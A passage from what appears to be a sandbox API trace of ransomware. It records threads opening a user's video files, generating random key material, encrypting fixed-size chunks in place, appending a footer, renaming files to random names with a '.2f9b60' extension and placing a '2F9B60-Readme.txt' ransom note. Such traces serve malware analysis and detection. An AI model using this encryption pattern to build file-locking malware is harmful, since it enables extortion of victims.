Flags=0x0, BaseAddress=0x118bc0) returned 1 [0105.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd000) returned 1 [0105.750] NtQueryInformationFile (in: FileHandle=0x1558, IoStatusBlock=0x2332fd38, FileInformation=0x2332fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2332fd38, FileInformation=0x2332fd48) returned 0x0 [0105.750] NtSetInformationFile (FileHandle=0x1558, IoStatusBlock=0x2332fd38, FileInformation=0x2332fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d160) returned 1 [0105.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dc30) returned 1 [0105.754] FlushFileBuffers (hFile=0x1558) returned 1 [0105.840] CloseHandle (hObject=0x1558) returned 1 [0105.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x204ffeb0 [0105.841] wcscpy (in: _Dest=0x204ffeb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0105.841] wcscat (in: _Dest=0x204ffeb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0105.841] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0106.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffeb0) returned 1 [0106.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a3d0) returned 1 Thread: id = 840 os_tid = 0x82c [0099.426] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\GGcritMEr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\ggcritmer.mkv")) returned 0x20 [0099.426] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\GGcritMEr.mkv", dwFileAttributes=0x20) returned 1 [0099.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\GGcritMEr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\ggcritmer.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x155c [0099.427] GetFileSizeEx (in: hFile=0x155c, lpFileSize=0x2461fc80 | out: lpFileSize=0x2461fc80*=81237) returned 1 [0099.427] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x13d51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.427] ReadFile (in: hFile=0x155c, lpBuffer=0x2461fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2461fc48, lpOverlapped=0x0 | out: lpBuffer=0x2461fc00*, lpNumberOfBytesRead=0x2461fc48*=0x4, lpOverlapped=0x0) returned 1 [0099.428] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0099.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d60 [0099.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d90 [0099.429] NtQuerySystemTime (in: CurrentTime=0x2461fb40 | out: CurrentTime=0x2461fb40*=132462177049486000) returned 0x0 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x2857a69e [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x29d648a2 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x34acc385 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x3c470f80 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x79f01ea9 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x2d6a084f [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x1bd703e4 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x70f64efd [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x47e1ed1e [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x4876ec0 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x105c1742 [0099.429] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x1f26adc2 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0xa3a8f42 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x3c20f0d2 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x3ed8349e [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x1435cf70 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x47667fa4 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0xeeee45a [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x3c9e7b58 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x77a06c73 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x63ee28cc [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x998ec6 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x66590609 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x3fb8ba33 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x64f1eb3e [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x7f241691 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x62a58cea [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x60966efe [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x7e0a4af9 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x3e647e68 [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x24b9677c [0099.430] RtlRandomEx (in: Seed=0x2461fb30 | out: Seed=0x2461fb30) returned 0x7f80c17c [0099.442] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.442] ReadFile (in: hFile=0x155c, lpBuffer=0x202e2d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2461fba0, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesRead=0x2461fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0099.443] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0099.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0099.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0099.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261cd0) returned 1 [0099.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202e6990 [0099.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0099.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d90 [0099.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d90) returned 1 [0099.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0099.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0099.444] WriteFile (in: hFile=0x155c, lpBuffer=0x202e6990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2461fba0, lpOverlapped=0x0 | out: lpBuffer=0x202e6990*, lpNumberOfBytesWritten=0x2461fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e6990) returned 1 [0100.578] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.578] ReadFile (in: hFile=0x155c, lpBuffer=0x202e2d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2461fba0, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesRead=0x2461fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.578] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420550b0 [0100.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0100.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0100.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4203d170 [0100.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0100.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0100.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0100.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420550b0) returned 1 [0100.939] WriteFile (in: hFile=0x155c, lpBuffer=0x4203d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2461fba0, lpOverlapped=0x0 | out: lpBuffer=0x4203d170*, lpNumberOfBytesWritten=0x2461fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4203d170) returned 1 [0101.593] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x10155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.593] ReadFile (in: hFile=0x155c, lpBuffer=0x202e2d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2461fba0, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesRead=0x2461fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.593] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x10155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0101.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0101.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4203d170 [0101.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0101.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0101.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d70) returned 1 [0101.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.594] WriteFile (in: hFile=0x155c, lpBuffer=0x4203d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2461fba0, lpOverlapped=0x0 | out: lpBuffer=0x4203d170*, lpNumberOfBytesWritten=0x2461fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4203d170) returned 1 [0101.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8e50 [0101.719] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.719] WriteFile (in: hFile=0x155c, lpBuffer=0x1338c0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2461fc50, lpOverlapped=0x0 | out: lpBuffer=0x1338c0*, lpNumberOfBytesWritten=0x2461fc50*=0x14c, lpOverlapped=0x0) returned 1 [0105.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0105.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f80) returned 1 [0105.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20260f80 [0105.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f50 [0105.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0105.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ef0) returned 1 [0105.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f2b0 [0105.038] sprintf (in: _Dest=0x1cd9f2b0, _Format="%c%c" | out: _Dest="7c") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2b2, _Format="%c%c" | out: _Dest="98") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2b4, _Format="%c%c" | out: _Dest="0c") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2b6, _Format="%c%c" | out: _Dest="9a") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2b8, _Format="%c%c" | out: _Dest="ea") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2ba, _Format="%c%c" | out: _Dest="4c") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2bc, _Format="%c%c" | out: _Dest="4a") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2be, _Format="%c%c" | out: _Dest="a9") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2c0, _Format="%c%c" | out: _Dest="90") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2c2, _Format="%c%c" | out: _Dest="7b") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2c4, _Format="%c%c" | out: _Dest="75") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2c6, _Format="%c%c" | out: _Dest="f3") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2c8, _Format="%c%c" | out: _Dest="d2") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2ca, _Format="%c%c" | out: _Dest="12") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2cc, _Format="%c%c" | out: _Dest="ea") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2ce, _Format="%c%c" | out: _Dest="f2") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2d0, _Format="%c%c" | out: _Dest="20") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2d2, _Format="%c%c" | out: _Dest="99") returned 2 [0105.038] sprintf (in: _Dest=0x1cd9f2d4, _Format="%c%c" | out: _Dest="7a") returned 2 [0105.039] sprintf (in: _Dest=0x1cd9f2d6, _Format="%c%c" | out: _Dest="ad") returned 2 [0105.039] sprintf (in: _Dest=0x1cd9f2d8, _Format="%c%c" | out: _Dest="2b") returned 2 [0105.039] sprintf (in: _Dest=0x1cd9f2da, _Format="%c%c" | out: _Dest="51") returned 2 [0105.039] sprintf (in: _Dest=0x1cd9f2dc, _Format="%c%c" | out: _Dest="38") returned 2 [0105.039] sprintf (in: _Dest=0x1cd9f2de, _Format="%c%c" | out: _Dest="25") returned 2 [0105.039] sprintf (in: _Dest=0x1cd9f2e0, _Format="%c%c" | out: _Dest="cc") returned 2 [0105.039] sprintf (in: _Dest=0x1cd9f2e2, _Format="%c%c" | out: _Dest="49") returned 2 [0105.039] RtlInitAnsiString (in: DestinationString=0x2461fcc8, SourceString="7c980c9aea4c4aa9907b75f3d212eaf220997aad2b513825cc49" | out: DestinationString="7c980c9aea4c4aa9907b75f3d212eaf220997aad2b513825cc49") [0105.039] RtlAnsiStringToUnicodeString (in: DestinationString=0x2461fc98, SourceString="7c980c9aea4c4aa9907b75f3d212eaf220997aad2b513825cc49", AllocateDestinationString=1 | out: DestinationString="7c980c9aea4c4aa9907b75f3d212eaf220997aad2b513825cc49") returned 0x0 [0105.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85ea10 [0105.039] wcscat (in: _Dest=0x4205dd70, _Source="7c980c9aea4c4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7c980c9aea4c4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7c980c9aea4c4" [0105.039] wcscat (in: _Dest=0x4205dd70, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7c980c9aea4c4.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7c980c9aea4c4.2f9b60" [0105.039] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7c980c9aea4c4.2f9b60", NtPathName=0x2461fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7c980c9aea4c4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20279370 [0106.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0106.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceceea0) returned 1 [0106.025] NtQueryInformationFile (in: FileHandle=0x155c, IoStatusBlock=0x2461fcd8, FileInformation=0x2461fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2461fcd8, FileInformation=0x2461fce8) returned 0x0 [0106.026] NtSetInformationFile (FileHandle=0x155c, IoStatusBlock=0x2461fcd8, FileInformation=0x2461fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0107.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0107.102] FlushFileBuffers (hFile=0x155c) returned 1 [0107.412] CloseHandle (hObject=0x155c) returned 1 [0107.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x204ff870 [0107.413] wcscpy (in: _Dest=0x204ff870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0107.413] wcscat (in: _Dest=0x204ff870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0107.413] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0107.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff870) returned 1 [0107.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a40b0) returned 1 Thread: id = 841 os_tid = 0x6a8 [0099.453] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\hsHkH4rFv0fmov3.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\hshkh4rfv0fmov3.mkv")) returned 0x20 [0099.453] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\hsHkH4rFv0fmov3.mkv", dwFileAttributes=0x20) returned 1 [0099.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\hsHkH4rFv0fmov3.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\hshkh4rfv0fmov3.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1560 [0099.453] GetFileSizeEx (in: hFile=0x1560, lpFileSize=0x2469f7e0 | out: lpFileSize=0x2469f7e0*=3624) returned 1 [0099.453] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0xe24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.453] ReadFile (in: hFile=0x1560, lpBuffer=0x2469f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2469f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2469f760*, lpNumberOfBytesRead=0x2469f7a8*=0x4, lpOverlapped=0x0) returned 1 [0099.455] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d90 [0099.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e20 [0099.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e50 [0099.455] NtQuerySystemTime (in: CurrentTime=0x2469f6a0 | out: CurrentTime=0x2469f6a0*=132462177049798000) returned 0x0 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x506e85f [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x89333dd [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x502e825 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x65a65a38 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x3922e88 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x4cf30daa [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x8e60a97 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x70686ad2 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x56739ed [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x154c9662 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x62ad2980 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x2a35d0b4 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x1da83754 [0099.455] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0xb3ba3c2 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x788531ec [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x306683be [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x721d539d [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x415906e9 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x475e767e [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x172c12fa [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x53af8b22 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x7bf4f1fb [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x27211bff [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0xae1b9b8 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x7d8520f [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x30232a20 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x7d8ccff2 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0xeae71ea [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x41bec0ee [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x14bfcb0 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0x238b33c0 [0099.456] RtlRandomEx (in: Seed=0x2469f690 | out: Seed=0x2469f690) returned 0xe69ba02 [0099.467] ReadFile (in: hFile=0x1560, lpBuffer=0x202ea5a0, nNumberOfBytesToRead=0xe28, lpNumberOfBytesRead=0x2469f690, lpOverlapped=0x0 | out: lpBuffer=0x202ea5a0*, lpNumberOfBytesRead=0x2469f690*=0xe28, lpOverlapped=0x0) returned 1 [0099.467] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.467] WriteFile (in: hFile=0x1560, 